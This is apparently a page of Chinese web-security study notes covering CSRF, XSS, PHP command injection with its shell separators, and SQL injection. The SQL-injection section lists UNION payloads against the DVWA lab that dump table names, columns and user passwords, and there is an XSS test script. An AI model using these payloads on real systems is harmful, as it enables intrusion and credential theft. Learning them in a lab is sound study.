1.用户访问A网站,并且成功登录A,获取A网站COOKIE
2.在用户没有退出A网站的情况下,攻击者诱导其访问B网站。(B网站是攻击者构造的恶意网站)
3.B网站包含一个针对A网站的请求
4.用户因为具有A网站的COOKIE,在不知情的情况之下,使用自己的身份向A网站,发送了B网站的请求

5.反射型跨站和CSRF都需要攻击者诱导用户访问特定的链接或页面

6.都绕过了同源策略的限制

CSRF注意点

我们应该写什么代码
HTML+js
代码在哪里执行(代码由谁执行)浏览器
漏洞位置在哪
用户访问的正常网站
直接受害者是谁
用户/漏洞所在网站

XSS CSRF区别

1.XSS获得用户身份,然后去做某事
2.CSRF是在用户不知情情况下,让用户去做某
3.防护手段不同

命令执行(漏洞)

PHP中的system/exce/shell exec/passthru/proc popen
当用户能够控制这些函数中的参数时,就可以将恶意系统
命令拼接到正常命令中,从而造成命令执行攻击

两个条件

1.用户能够控制函数输入
2.存在可以执行代码的危险函数

相关函数

命令执行相关函数

1.exec执行外部命令(外部程序执行后返回最后一行)shell_exec全部数据
2.passthru执行外部程序并且显示原始输出
浏览器

Linux上可以使用

前面执行完;执行后面

|显示后面的执行结果

错||执行

Windows

不能用;
假&执行
假&&出错
直接执行后面的语句错执行

危害

1.执行系统命令、读写文件
2.反弹shell
3.控制整个网站甚至服务器
4.内网渗透

SQL Injection

-1’ union select 1,database() #

-1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘dvwa’ #

-1’ union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’ #

-1’ union select 1,group_concat(concat_ws(‘-’,first_name,last_name,user,password,avatar,last_login,failed_login)) from dvwa.users #

1'  union select count(*),concat_ws('-',database(),floor(rand()*2)) as x from information_schema.schemata group by x   #

XSS 习题

<script> alert('hello');</script>

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
数据库应用系统的安全架构是指为了保护数据库中存储的数据以及数据库系统本身的安全性而采取的一系列措施和技术。以下是一些常见的数据库应用系统安全架构要点: 1. 访问控制:确保只有经过身份认证和授权的用户可以访问数据库系统。这可以通过使用强密码策略、限制物理和逻辑访问、实施多因素身份验证等方式实现。 2. 数据加密:对敏感数据进行加密,以保护数据的机密性。应使用合适的加密算法和密钥管理策略来保证数据的安全性。 3. 审计和监控:记录数据库操作和访问日志,并监控数据库系统的活动。这样可以及时发现异常行为和安全漏洞,并及时采取相应的措施。 4. 异常检测和防御:使用入侵检测系统(IDS)和入侵防御系统(IPS)等工具,监测和防御潜在的攻击和入侵行为。 5. 数据备份和恢复:定期备份数据库,并建立完善的灾难恢复计划。这样可以在遭受数据丢失或损坏时能够及时恢复数据。 6. 更新和维护:及时安装数据库系统的安全更新和补丁,以修复已知的安全漏洞和问题。 7. 培训和意识提升:对数据库管理员和用户进行安全培训,提高他们的安全意识,防止一些常见的安全风险和威胁。 以上是数据库应用系统安全架构的一些重要要点,当然还有其他的措施和技术可根据具体情况进行选择和实施。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值